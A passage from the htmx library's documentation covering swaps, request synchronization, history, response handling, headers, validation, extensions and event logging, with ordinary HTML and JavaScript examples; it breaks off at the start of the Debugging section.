In addition to the standard swap mechanisms above, htmx also supports _morphing_ swaps, via extensions.  Morphing swaps
attempt to _merge_ new content into the existing DOM, rather than simply replacing it.  They often do a better job
preserving things like focus, video state, etc. by mutating existing nodes in-place during the swap operation, at the
cost of more CPU.

The following extensions are available for morph-style swaps:

* [Idiomorph](/extensions/idiomorph) - A morphing algorithm created by the htmx developers.
* [Morphdom Swap](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/morphdom-swap/README.md) - Based on the [morphdom](https://github.com/patrick-steele-idem/morphdom),
  the original DOM morphing library.
* [Alpine-morph](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/alpine-morph/README.md) - Based on the [alpine morph](https://alpinejs.dev/plugins/morph) plugin, plays
  well with alpine.js

#### View Transitions {#view-transitions}

The new, experimental [View Transitions API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API)
gives developers a way to create an animated transition between different DOM states.  It is still in active development
and is not available in all browsers, but htmx provides a way to work with this new API that falls back to the non-transition
mechanism if the API is not available in a given browser.

You can experiment with this new API using the following approaches:

* Set the `htmx.config.globalViewTransitions` config variable to `true` to use transitions for all swaps
* Use the `transition:true` option in the `hx-swap` attribute
* If an element swap is going to be transitioned due to either of the above configurations, you may catch the
  `htmx:beforeTransition` event and call `preventDefault()` on it to cancel the transition.

View Transitions can be configured using CSS, as outlined in [the Chrome documentation for the feature](https://developer.chrome.com/docs/web-platform/view-transitions/#simple-customization).

You can see a view transition example on the [Animation Examples](/examples/animations#view-transitions) page.

#### Swap Options

The [hx-swap](@/attributes/hx-swap.md) attribute supports many options for tuning the swapping behavior of htmx.  For
example, by default htmx will swap in the title of a title tag found anywhere in the new content.  You can turn this
behavior off by setting the `ignoreTitle` modifier to true:

```html
    <button hx-post="/like" hx-swap="outerHTML ignoreTitle:true">Like</button>
```

The modifiers available on `hx-swap` are:

| Option        | Description                                                                                              |
|---------------|----------------------------------------------------------------------------------------------------------|
| `transition`  | `true` or `false`, whether to use the view transition API for this swap                                  |
| `swap`        | The swap delay to use (e.g. `100ms`) between when old content is cleared and the new content is inserted |
| `settle`      | The settle delay to use (e.g. `100ms`) between when new content is inserted and when it is settled       |
| `ignoreTitle` | If set to `true`, any title found in the new content will be ignored and not update the document title   |
| `scroll`      | `top` or `bottom`, will scroll the target element to its top or bottom                                   |
| `show`        | `top` or `bottom`, will scroll the target element's top or bottom into view                               |

All swap modifiers appear after the swap style is specified, and are colon-separated.

See the [hx-swap](@/attributes/hx-swap.md) documentation for more details on these options.

### Synchronization {#synchronization}

Often you want to coordinate the requests between two elements.  For example, you may want a request from one element
to supersede the request of another element, or to wait until the other element's request has finished.

htmx offers a [`hx-sync`](@/attributes/hx-sync.md) attribute to help you accomplish this.

Consider a race condition between a form submission and an individual input's validation request in this HTML:

```html
<form hx-post="/store">
    <input id="title" name="title" type="text"
        hx-post="/validate"
        hx-trigger="change">
    <button type="submit">Submit</button>
</form>
```

Without using `hx-sync`, filling out the input and immediately submitting the form triggers two parallel requests to
`/validate` and `/store`.

Using `hx-sync="closest form:abort"` on the input will watch for requests on the form and abort the input's request if
a form request is present or starts while the input request is in flight:

```html
<form hx-post="/store">
    <input id="title" name="title" type="text"
        hx-post="/validate"
        hx-trigger="change"
        hx-sync="closest form:abort">
    <button type="submit">Submit</button>
</form>
```

This resolves the synchronization between the two elements in a declarative way.

htmx also supports a programmatic way to cancel requests: you can send the `htmx:abort` event to an element to
cancel any in-flight requests:

```html
<button id="request-button" hx-post="/example">
    Issue Request
</button>
<button onclick="htmx.trigger('#request-button', 'htmx:abort')">
    Cancel Request
</button>
```

More examples and details can be found on the [`hx-sync` attribute page.](@/attributes/hx-sync.md)

### CSS Transitions {#css_transitions}

htmx makes it easy to use [CSS Transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions) without
javascript.  Consider this HTML content:

```html
<div id="div1">Original Content</div>
```

Imagine this content is replaced by htmx via an ajax request with this new content:

```html
<div id="div1" class="red">New Content</div>
```

Note two things:

* The div has the *same* id in the original and in the new content
* The `red` class has been added to the new content

Given this situation, we can write a CSS transition from the old state to the new state:

```css
.red {
    color: red;
    transition: all ease-in 1s ;
}
```

When htmx swaps in this new content, it will do so in such a way that the CSS transition will apply to the new content,
giving you a nice, smooth transition to the new state.

So, in summary, all you need to do to use CSS transitions for an element is keep its `id` stable across requests!

You can see the [Animation Examples](@/examples/animations.md) for more details and live demonstrations.

#### Details

To understand how CSS transitions actually work in htmx, you must understand the underlying swap & settle model that htmx uses.

When new content is received from a server, before the content is swapped in, the existing
content of the page is examined for elements that match by the `id` attribute.  If a match
is found for an element in the new content, the attributes of the old content are copied
onto the new element before the swap occurs.  The new content is then swapped in, but with the
*old* attribute values.  Finally, the new attribute values are swapped in, after a "settle" delay
(20ms by default).  A little crazy, but this is what allows CSS transitions to work without any javascript by
the developer.

### Out of Band Swaps {#oob_swaps}

If you want to swap content from a response directly into the DOM by using the `id` attribute you can use the
[hx-swap-oob](@/attributes/hx-swap-oob.md) attribute in the *response* html:

```html
<div id="message" hx-swap-oob="true">Swap me directly!</div>
Additional Content
```

In this response, `div#message` would be swapped directly into the matching DOM element, while the additional content
would be swapped into the target in the normal manner.

You can use this technique to "piggy-back" updates on other requests.

#### Troublesome Tables

Table elements can be problematic when combined with out of band swaps, because, by the HTML spec, many can't stand on
their own in the DOM (e.g. `<tr>` or `<td>`).

To avoid this issue you can use a `template` tag to encapsulate these elements:

```html
<template>
  <tr id="message" hx-swap-oob="true"><td>Joe</td><td>Smith</td></tr>
</template>
```

#### Selecting Content To Swap

If you want to select a subset of the response HTML to swap into the target, you can use the [hx-select](@/attributes/hx-select.md)
attribute, which takes a CSS selector and selects the matching elements from the response.

You can also pick out pieces of content for an out-of-band swap by using the [hx-select-oob](@/attributes/hx-select-oob.md)
attribute, which takes a list of element IDs to pick out and swap.

#### Preserving Content During A Swap

If there is content that you wish to be preserved across swaps (e.g. a video player that you wish to remain playing
even if a swap occurs) you can use the [hx-preserve](@/attributes/hx-preserve.md)
attribute on the elements you wish to be preserved.

### Parameters

By default, an element that causes a request will include its value if it has one.  If the element is a form it
will include the values of all inputs within it.

As with HTML forms, the `name` attribute of the input is used as the parameter name in the request that htmx sends.

Additionally, if the element causes a non-`GET` request, the values of all the inputs of the associated form will be
included (typically this is the nearest enclosing form, but could be different if e.g. `<button form="associated-form">` is used).

If you wish to include the values of other elements, you can use the [hx-include](@/attributes/hx-include.md) attribute
with a CSS selector of all the elements whose values you want to include in the request.

If you wish to filter out some parameters you can use the [hx-params](@/attributes/hx-params.md) attribute.

Finally, if you want to programmatically modify the parameters, you can use the [htmx:configRequest](@/events.md#htmx:configRequest)
event.

#### File Upload {#files}

If you wish to upload files via an htmx request, you can set the [hx-encoding](@/attributes/hx-encoding.md) attribute to
`multipart/form-data`.  This will use a `FormData` object to submit the request, which will properly include the file
in the request.

Note that depending on your server-side technology, you may have to handle requests with this type of body content very
differently.

Note that htmx fires a `htmx:xhr:progress` event periodically based on the standard `progress` event during upload,
which you can hook into to show the progress of the upload.

See the [examples section](@/examples/_index.md) for more advanced form patterns, including [progress bars](@/examples/file-upload.md) and [error handling](@/examples/file-upload-input.md).

#### Extra Values

You can include extra values in a request using the [hx-vals](@/attributes/hx-vals.md) (name-expression pairs in JSON format) and
[hx-vars](@/attributes/hx-vars.md) attributes (comma-separated name-expression pairs that are dynamically computed).

### Confirming Requests {#confirming}

Often you will want to confirm an action before issuing a request.  htmx supports the [`hx-confirm`](@/attributes/hx-confirm.md)
attribute, which allows you to confirm an action using a simple javascript dialog:

```html
<button hx-delete="/account" hx-confirm="Are you sure you wish to delete your account?">
    Delete My Account
</button>
```

Using events you can implement more sophisticated confirmation dialogs.  The [confirm example](@/examples/confirm.md)
shows how to use [sweetalert2](https://sweetalert2.github.io/) library for confirmation of htmx actions.

#### Confirming Requests Using Events

Another option to do confirmation with is via the [`htmx:confirm` event](@/events.md#htmx:confirm).  This event
is fired on *every* trigger for a request (not just on elements that have a `hx-confirm` attribute) and can be used
to implement asynchronous confirmation of the request.

Here is an example using [sweet alert](https://sweetalert.js.org/guides/) on any element with a `confirm-with-sweet-alert='true'` attribute on it:

```javascript
document.body.addEventListener('htmx:confirm', function(evt) {
  if (evt.target.matches("[confirm-with-sweet-alert='true']")) {
    evt.preventDefault();
    swal({
      title: "Are you sure?",
      text: "Are you sure you are sure?",
      icon: "warning",
      buttons: true,
      dangerMode: true,
    }).then((confirmed) => {
      if (confirmed) {
        evt.detail.issueRequest();
      }
    });
  }
});
```


## Attribute Inheritance {#inheritance}

Most attributes in htmx are inherited: they apply to the element they are on as well as any children elements.  This
allows you to "hoist" attributes up the DOM to avoid code duplication.  Consider the following htmx:

```html
<button hx-delete="/account" hx-confirm="Are you sure?">
    Delete My Account
</button>
<button hx-put="/account" hx-confirm="Are you sure?">
    Update My Account
</button>
```

Here we have a duplicate `hx-confirm` attribute.  We can hoist this attribute to a parent element:

```html
<div hx-confirm="Are you sure?">
    <button hx-delete="/account">
        Delete My Account
    </button>
    <button hx-put="/account">
        Update My Account
    </button>
</div>
```

This `hx-confirm` attribute will now apply to all htmx-powered elements within it.

Sometimes you wish to undo this inheritance.  Consider if we had a cancel button to this group, but didn't want it to
be confirmed.  We could add an `unset` directive on it like so:

```html
<div hx-confirm="Are you sure?">
    <button hx-delete="/account">
        Delete My Account
    </button>
    <button hx-put="/account">
        Update My Account
    </button>
    <button hx-confirm="unset" hx-get="/">
        Cancel
    </button>
</div>
```

The top two buttons would then show a confirm dialog, but the bottom cancel button would not.

Inheritance can be disabled on a per-element and per-attribute basis using the
[`hx-disinherit`](@/attributes/hx-disinherit.md) attribute.

If you wish to disable attribute inheritance entirely, you can set the `htmx.config.disableInheritance` configuration
variable to `true`.   This will disable inheritance as a default, and allow you to specify inheritance explicitly
with the [`hx-inherit`](@/attributes/hx-inherit.md) attribute.

## Boosting

Htmx supports "boosting" regular HTML anchors and forms with the [hx-boost](@/attributes/hx-boost.md) attribute.  This
attribute will convert all anchor tags and forms into AJAX requests that, by default, target the body of the page.

Here is an example:

```html
<div hx-boost="true">
    <a href="/blog">Blog</a>
</div>
```

The anchor tag in this div will issue an AJAX `GET` request to `/blog` and swap the response into the `body` tag.

### Progressive Enhancement {#progressive_enhancement}

A feature of `hx-boost` is that it degrades gracefully if javascript is not enabled: the links and forms continue
to work, they simply don't use ajax requests.  This is known as
[Progressive Enhancement](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement), and it allows
a wider audience to use your site's functionality.

Other htmx patterns can be adapted to achieve progressive enhancement as well, but they will require more thought.

Consider the [active search](@/examples/active-search.md) example.  As it is written, it will not degrade gracefully:
someone who does not have javascript enabled will not be able to use this feature. This is done for simplicity’s sake,
to keep the example as brief as possible.

However, you could wrap the htmx-enhanced input in a form element:

```html
<form action="/search" method="POST">
    <input class="form-control" type="search"
        name="search" placeholder="Begin typing to search users..."
        hx-post="/search"
        hx-trigger="keyup changed delay:500ms, search"
        hx-target="#search-results"
        hx-indicator=".htmx-indicator">
</form>
```

With this in place, javascript-enabled clients would still get the nice active-search UX, but non-javascript enabled
clients would be able to hit the enter key and still search.  Even better, you could add a "Search" button as well.
You would then need to update the form with an `hx-post` that mirrored the `action` attribute, or perhaps use `hx-boost`
on it.

You would need to check on the server side for the `HX-Request` header to differentiate between an htmx-driven and a
regular request, to determine exactly what to render to the client.

Other patterns can be adapted similarly to achieve the progressive enhancement needs of your application.

As you can see, this requires more thought and more work.  It also rules some functionality entirely out of bounds.
These tradeoffs must be made by you, the developer, with respect to your projects goals and audience.

[Accessibility](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility) is a concept
closely related to progressive enhancement.  Using progressive enhancement techniques such as `hx-boost` will make your
htmx application more accessible to a wide array of users.

htmx-based applications are very similar to normal, non-AJAX driven web applications because htmx is HTML-oriented.

As such, the normal HTML accessibility recommendations apply.  For example:

* Use semantic HTML as much as possible (i.e. the right tags for the right things)
* Ensure focus state is clearly visible
* Associate text labels with all form fields
* Maximize the readability of your application with appropriate fonts, contrast, etc.

## Web Sockets & SSE {#websockets-and-sse}

Web Sockets and Server Sent Events (SSE) are supported via extensions.  Please see
the [SSE extension](/extensions/sse) and [WebSocket extension](/extensions/ws)
pages to learn more.

## History Support {#history}

Htmx provides a simple mechanism for interacting with the [browser history API](https://developer.mozilla.org/en-US/docs/Web/API/History_API):

If you want a given element to push its request URL into the browser navigation bar and add the current state of the page
to the browser's history, include the [hx-push-url](@/attributes/hx-push-url.md) attribute:

```html
<a hx-get="/blog" hx-push-url="true">Blog</a>
```

When a user clicks on this link, htmx will snapshot the current DOM and store it before it makes a request to /blog.
It then does the swap and pushes a new location onto the history stack.

When a user hits the back button, htmx will retrieve the old content from storage and swap it back into the target,
simulating "going back" to the previous state.  If the location is not found in the cache, htmx will make an ajax
request to the given URL, with the header `HX-History-Restore-Request` set to true, and expects back the HTML needed
for the entire page. You should always set `htmx.config.historyRestoreAsHxRequest` to false to prevent the `HX-Request` header
which can then be safely used to respond with partials. Alternatively, if the `htmx.config.refreshOnHistoryMiss` config variable
is set to true, it will issue a hard browser refresh.

**NOTE:** If you push a URL into the history, you **must** be able to navigate to that URL and get a full page back!
A user could copy and paste the URL into an email, or new tab.  Additionally, htmx will need the entire page when restoring
history if the page is not in the history cache.

### Specifying History Snapshot Element

By default, htmx will use the `body` to take and restore the history snapshot from.  This is usually the right thing, but
if you want to use a narrower element for snapshotting you can use the [hx-history-elt](@/attributes/hx-history-elt.md)
attribute to specify a different one.

Careful: this element will need to be on all pages or restoring from history won't work reliably.

### Undoing DOM Mutations By 3rd Party Libraries

If you are using a 3rd party library and want to use the htmx history feature, you will need to clean up the DOM before
a snapshot is taken.  Let's consider the [Tom Select](https://tom-select.js.org/) library, which makes select elements
a much richer user experience.  Let's set up TomSelect to turn any input element with the `.tomselect` class into a rich
select element.

First we need to initialize elements that have the class in new content:

```javascript
htmx.onLoad(function (target) {
    // find all elements in the new content that should be
    // an editor and init w/ TomSelect
    var editors = target.querySelectorAll(".tomselect")
            .forEach(elt => new TomSelect(elt))
});
```

This will create a rich selector for all input elements that have the `.tomselect` class on it.  However, it mutates
the DOM and we don't want that mutation saved to the history cache, since TomSelect will be reinitialized when the
history content is loaded back into the screen.

To deal with this, we need to catch the `htmx:beforeHistorySave` event and clean out the TomSelect mutations by calling
`destroy()` on them:

```javascript
htmx.on('htmx:beforeHistorySave', function() {
    // find all TomSelect elements
    document.querySelectorAll('.tomSelect')
            .forEach(elt => elt.tomselect.destroy()) // and call destroy() on them
})
```

This will revert the DOM to the original HTML, thus allowing for a clean snapshot.

### Disabling History Snapshots

History snapshotting can be disabled for a URL by setting the [hx-history](@/attributes/hx-history.md) attribute to `false`
on any element in the current document, or any html fragment loaded into the current document by htmx. This can be used
to prevent sensitive data entering the localStorage cache, which can be important for shared-use / public computers.
History navigation will work as expected, but on restoration the URL will be requested from the server instead of the
local history cache.

## Requests &amp; Responses {#requests}

Htmx expects responses to the AJAX requests it makes to be HTML, typically HTML fragments (although a full HTML
document, matched with a [hx-select](@/attributes/hx-select.md) tag can be useful too).  Htmx will then swap the returned
HTML into the document at the target specified and with the swap strategy specified.

Sometimes you might want to do nothing in the swap, but still perhaps trigger a client side event ([see below](#response-headers)).

For this situation, by default, you can return a `204 - No Content` response code, and htmx will ignore the content of
the response.

In the event of an error response from the server (e.g. a 404 or a 501), htmx will trigger the [`htmx:responseError`](@/events.md#htmx:responseError)
event, which you can handle.

In the event of a connection error, the [`htmx:sendError`](@/events.md#htmx:sendError) event will be triggered.

### Configuring Response Handling {#response-handling}

You can configure the above behavior of htmx by mutating or replacing the `htmx.config.responseHandling` array.  This
object is a collection of JavaScript objects defined like so:

```js
    responseHandling: [
        {code:"204", swap: false},   // 204 - No Content by default does nothing, but is not an error
        {code:"[23]..", swap: true}, // 200 & 300 responses are non-errors and are swapped
        {code:"[45]..", swap: false, error:true}, // 400 & 500 responses are not swapped and are errors
        {code:"...", swap: false}    // catch all for any other response code
    ]
```

When htmx receives a response it will iterate in order over the `htmx.config.responseHandling` array and test if the
`code` property of a given object, when treated as a Regular Expression, matches the current response.  If an entry
does match the current response code, it will be used to determine if and how the response will be processed.

The fields available for response handling configuration on entries in this array are:

* `code` - a String representing a regular expression that will be tested against response codes.
* `swap` - `true` if the response should be swapped into the DOM, `false` otherwise
* `error` - `true` if htmx should treat this response as an error
* `ignoreTitle` - `true` if htmx should ignore title tags in the response
* `select` - A CSS selector to use to select content from the response
* `target` - A CSS selector specifying an alternative target for the response
* `swapOverride` - An alternative swap mechanism for the response

#### Configuring Response Handling Examples {#response-handling-examples}

As an example of how to use this configuration, consider a situation when a server-side framework responds with a
[`422 - Unprocessable Entity`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/422) response when validation errors occur.  By default, htmx will ignore the response,
since it matches the Regular Expression `[45]..`.

Using the [meta config](#configuration-options) mechanism for configuring responseHandling, we could add the following
config:

```html
<!--
  * 204 No Content by default does nothing, but is not an error
  * 2xx, 3xx and 422 responses are non-errors and are swapped
  * 4xx & 5xx responses are not swapped and are errors
  * all other responses are swapped using "..." as a catch-all
-->
<meta
	name="htmx-config"
	content='{
        "responseHandling":[
            {"code":"204", "swap": false},
            {"code":"[23]..", "swap": true},
            {"code":"422", "swap": true},
            {"code":"[45]..", "swap": false, "error":true},
            {"code":"...", "swap": true}
        ]
    }'
/>
```

If you wanted to swap everything, regardless of HTTP response code, you could use this configuration:

```html
<meta name="htmx-config" content='{"responseHandling": [{"code":".*", "swap": true}]}' /> <!--all responses are swapped-->
```

Finally, it is worth considering using the [Response Targets](/extensions/response-targets)
extension, which allows you to configure the behavior of response codes declaratively via attributes.

### CORS

When using htmx in a cross origin context, remember to configure your web
server to set Access-Control headers in order for htmx headers to be visible
on the client side.

- [Access-Control-Allow-Headers (for request headers)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers)
- [Access-Control-Expose-Headers (for response headers)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Expose-Headers)

[See all the request and response headers that htmx implements.](@/reference.md#request_headers)

### Request Headers

htmx includes a number of useful headers in requests:

| Header | Description |
|--------|-------------|
| `HX-Boosted` | indicates that the request is via an element using [hx-boost](@/attributes/hx-boost.md)
| `HX-Current-URL` | the current URL of the browser
| `HX-History-Restore-Request` | "true" if the request is for history restoration after a miss in the local history cache
| `HX-Prompt` | the user response to an [hx-prompt](@/attributes/hx-prompt.md)
| `HX-Request` | always "true" except on history restore requests if `htmx.config.historyRestoreAsHxRequest' disabled
| `HX-Target` | the `id` of the target element if it exists
| `HX-Trigger-Name` | the `name` of the triggered element if it exists
| `HX-Trigger` | the `id` of the triggered element if it exists

### Response Headers

htmx supports some htmx-specific response headers:

* [`HX-Location`](@/headers/hx-location.md) - allows you to do a client-side redirect that does not do a full page reload
* [`HX-Push-Url`](@/headers/hx-push-url.md) - pushes a new url into the history stack
* [`HX-Redirect`](@/headers/hx-redirect.md) - can be used to do a client-side redirect to a new location
* `HX-Refresh` - if set to "true" the client-side will do a full refresh of the page
* [`HX-Replace-Url`](@/headers/hx-replace-url.md) - replaces the current URL in the location bar
* `HX-Reswap` - allows you to specify how the response will be swapped. See [hx-swap](@/attributes/hx-swap.md) for possible values
* `HX-Retarget` - a CSS selector that updates the target of the content update to a different element on the page
* `HX-Reselect` - a CSS selector that allows you to choose which part of the response is used to be swapped in. Overrides an existing [`hx-select`](@/attributes/hx-select.md) on the triggering element
* [`HX-Trigger`](@/headers/hx-trigger.md) - allows you to trigger client-side events
* [`HX-Trigger-After-Settle`](@/headers/hx-trigger.md) - allows you to trigger client-side events after the settle step
* [`HX-Trigger-After-Swap`](@/headers/hx-trigger.md) - allows you to trigger client-side events after the swap step

For more on the `HX-Trigger` headers, see [`HX-Trigger` Response Headers](@/headers/hx-trigger.md).

Submitting a form via htmx has the benefit of no longer needing the [Post/Redirect/Get Pattern](https://en.wikipedia.org/wiki/Post/Redirect/Get).
After successfully processing a POST request on the server, you don't need to return a [HTTP 302 (Redirect)](https://en.wikipedia.org/wiki/HTTP_302). You can directly return the new HTML fragment.

Also the response headers above are not provided to htmx for processing with 3xx Redirect response codes like [HTTP 302 (Redirect)](https://en.wikipedia.org/wiki/HTTP_302). Instead, the browser will intercept the redirection internally and return the headers and response from the redirected URL. Where possible use alternative response codes like 200 to allow returning of these response headers.

### Request Order of Operations {#request-operations}

The order of operations in a htmx request are:

* The element is triggered and begins a request
  * Values are gathered for the request
  * The `htmx-request` class is applied to the appropriate elements
  * The request is then issued asynchronously via AJAX
    * Upon getting a response the target element is marked with the `htmx-swapping` class
    * An optional swap delay is applied (see the [hx-swap](@/attributes/hx-swap.md) attribute)
    * The actual content swap is done
        * the `htmx-swapping` class is removed from the target
        * the `htmx-added` class is added to each new piece of content
        * the `htmx-settling` class is applied to the target
        * A settle delay is done (default: 20ms)
        * The DOM is settled
        * the `htmx-settling` class is removed from the target
        * the `htmx-added` class is removed from each new piece of content

You can use the `htmx-swapping` and `htmx-settling` classes to create
[CSS transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions) between pages.

## Validation

Htmx integrates with the [HTML5 Validation API](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation)
and will not issue a request for a form if a validatable input is invalid.  This is true for both AJAX requests as well as
WebSocket sends.

Htmx fires events around validation that can be used to hook in custom validation and error handling:

* `htmx:validation:validate` - called before an element's `checkValidity()` method is called.  May be used to add in
   custom validation logic
* `htmx:validation:failed` - called when `checkValidity()` returns false, indicating an invalid input
* `htmx:validation:halted` - called when a request is not issued due to validation errors.  Specific errors may be found
  in the `event.detail.errors` object

Non-form elements do not validate before they make requests by default, but you can enable validation by setting
the [`hx-validate`](@/attributes/hx-validate.md) attribute to "true".

Normal browser form submission alerts the user of any validation errors automatically and auto focuses on the first invalid input. For backwards compatibility reasons htmx does not report the validation to the users by default and you should always enable this option by setting `htmx.config.reportValidityOfForms` to `true` to restore the default browser behavior.

### Validation Example

Here is an example of an input that uses the [`hx-on`](/attributes/hx-on) attribute to catch the
`htmx:validation:validate` event and require that the input have the value `foo`:

```html
<form id="example-form" hx-post="/test">
    <input name="example"
           onkeyup="this.setCustomValidity('') // reset the validation on keyup"
           hx-on:htmx:validation:validate="if(this.value != 'foo') {
                    this.setCustomValidity('Please enter the value foo') // set the validation error
                    htmx.find('#example-form').reportValidity()          // report the issue
                }">
</form>
```

Note that all client side validations must be re-done on the server side, as they can always be bypassed.

## Animations

Htmx allows you to use [CSS transitions](#css_transitions)
in many situations using only HTML and CSS.

Please see the [Animation Guide](@/examples/animations.md) for more details on the options available.

## Extensions

htmx provides an [extensions](/extensions) mechanism that allows you to customize the libraries' behavior.
Extensions [are defined in javascript](/extensions/building) and then enabled via
the [`hx-ext`](@/attributes/hx-ext.md) attribute.

### Core Extensions

htmx supports a few "core" extensions, which are supported by the htmx development team:

* [head-support](/extensions/head-support) - support for merging head tag information (styles, etc.) in htmx requests
* [htmx-1-compat](/extensions/htmx-1-compat) - restores htmx 1 defaults & functionality
* [idiomorph](/extensions/idiomorph) - supports the `morph` swap strategy using idiomorph
* [preload](/extensions/preload) - allows you to preload content for better performance
* [response-targets](/extensions/response-targets) - allows you to target elements based on HTTP response codes (e.g. `404`)
* [sse](/extensions/sse) - support for [Server Sent Events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)
* [ws](/extensions/ws) - support for [Web Sockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)

You can see all available extensions on the [Extensions](/extensions) page.

### Installing Extensions

The fastest way to install htmx extensions created by others is to load them via a CDN. Remember to always include the core htmx library before the extensions and [enable the extension](#enabling-extensions). For example, if you would like to use the [response-targets](/extensions/response-targets) extension, you can add this to your head tag:
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-response-targets@2.0.4" integrity="sha384-T41oglUPvXLGBVyRdZsVRxNWnOOqCynaPubjUVjxhsjFTKrFJGEMm3/0KGmNQ+Pg" crossorigin="anonymous"></script>
</head>
<body hx-ext="extension-name">
    ...
```
An unminified version is also available at `https://cdn.jsdelivr.net/npm/htmx-ext-extension-name/dist/extension-name.js` (replace `extension-name` with the name of the extension).

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install htmx extensions is to simply copy them into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-extension-name` (replace `extension-name` with the name of the extension) e.g., https://cdn.jsdelivr.net/npm/htmx-ext-response-targets. Then add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install htmx extensions via [npm](https://www.npmjs.com/) (replace `extension-name` with the name of the extension):
```shell
npm install htmx-ext-extension-name
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-extension-name/dist/extension-name.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-extension-name` via npm (replace `extension-name` with the name of the extension)
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-extension-name`; // replace `extension-name` with the name of the extension 
```

Note: [Idiomorph](/extensions/idiomorph) does not follow the naming convention of htmx extensions. Use `idiomorph` instead of `htmx-ext-idiomorph`. For example, `https://cdn.jsdelivr.net/npm/idiomorph` or `npm install idiomorph`.

Note: Community extensions hosted outside this repository might have different installation instructions. Please check the corresponding repository for set-up guidance.

### Enabling Extensions

To enable an extension, add a `hx-ext="extension-name"` attribute to `<body>` or another HTML element (replace `extension-name` with the name of the extension). The extension will be applied to all child elements.

The following example shows how to enable [response-targets](/extensions/response-targets) extension, allowing you to specify different target elements to be swapped based on HTTP response code.
```html
<body hx-ext="response-targets">
    ...
    <button hx-post="/register" hx-target="#response-div" hx-target-404="#not-found">
        Register!
    </button>
    <div id="response-div"></div>
    <div id="not-found"></div>
    ...
</body>
```

### Creating Extensions

If you are interested in adding your own extension to htmx, please [see the extension docs](/extensions/building).

## Events & Logging {#events}

Htmx has an extensive [events mechanism](@/reference.md#events), which doubles as the logging system.

If you want to register for a given htmx event you can use

```js
document.body.addEventListener('htmx:load', function(evt) {
    myJavascriptLib.init(evt.detail.elt);
});
```

or, if you would prefer, you can use the following htmx helper:

```javascript
htmx.on("htmx:load", function(evt) {
    myJavascriptLib.init(evt.detail.elt);
});
```

The `htmx:load` event is fired every time an element is loaded into the DOM by htmx, and is effectively the equivalent
 to the normal `load` event.

Some common uses for htmx events are:

### Initialize A 3rd Party Library With Events {#init_3rd_party_with_events}

Using the `htmx:load` event to initialize content is so common that htmx provides a helper function:

```javascript
htmx.onLoad(function(target) {
    myJavascriptLib.init(target);
});
```
This does the same thing as the first example, but is a little cleaner.

### Configure a Request With Events {#config_request_with_events}

You can handle the [`htmx:configRequest`](@/events.md#htmx:configRequest) event in order to modify an AJAX request before it is issued:

```javascript
document.body.addEventListener('htmx:configRequest', function(evt) {
    evt.detail.parameters['auth_token'] = getAuthToken(); // add a new parameter into the request
    evt.detail.headers['Authentication-Token'] = getAuthToken(); // add a new header into the request
});
```

Here we add a parameter and header to the request before it is sent.

### Modifying Swapping Behavior With Events {#modifying_swapping_behavior_with_events}

You can handle the [`htmx:beforeSwap`](@/events.md#htmx:beforeSwap) event in order to modify the swap behavior of htmx:

```javascript
document.body.addEventListener('htmx:beforeSwap', function(evt) {
    if(evt.detail.xhr.status === 404){
        // alert the user when a 404 occurs (maybe use a nicer mechanism than alert())
        alert("Error: Could Not Find Resource");
    } else if(evt.detail.xhr.status === 422){
        // allow 422 responses to swap as we are using this as a signal that
        // a form was submitted with bad data and want to rerender with the
        // errors
        //
        // set isError to false to avoid error logging in console
        evt.detail.shouldSwap = true;
        evt.detail.isError = false;
    } else if(evt.detail.xhr.status === 418){
        // if the response code 418 (I'm a teapot) is returned, retarget the
        // content of the response to the element with the id `teapot`
        evt.detail.shouldSwap = true;
        evt.detail.target = htmx.find("#teapot");
    }
});
```

Here we handle a few [400-level error response codes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status#client_error_responses)
that would normally not do a swap in htmx.

### Event Naming {#event_naming}

Note that all events are fired with two different names

* Camel Case
* Kebab Case

So, for example, you can listen for `htmx:afterSwap` or for `htmx:after-swap`.  This facilitates interoperability
with other libraries.  [Alpine.js](https://github.com/alpinejs/alpine/), for example, requires kebab case.

### Logging

If you set a logger at `htmx.logger`, every event will be logged.  This can be very useful for troubleshooting:

```javascript
htmx.logger = function(elt, event, data) {
    if(console) {
        console.log(event, elt, data);
    }
}
```

## Debugging

Declarative and event driven programming with htmx (or any other declarative language) can be a wonderful and highly productive
activity, but one disadvantage when compared with imperative approaches is that it can be trickier to debug.

Figuring out why something *isn't* happening, for example, can be difficult if you don't know the tricks.

Well, here are the tricks:

The first debugging tool you can use is the `htmx.logAll()` method.  This will log every event that htmx triggers and
will allow you to see exactly what the library is doing.

```javascript
htmx.logAll();
```

Of course, that won't tell you why htmx *isn't* doing something.  You might also not know *what* events a DOM
element is firing to use as a trigger.  To address this, you can use the
[`monitorEvents()`](https://developers.google.com/web/updates/2015/05/quickly-monitor-events-from-the-console-panel) method available in the
browser console:

```javascript
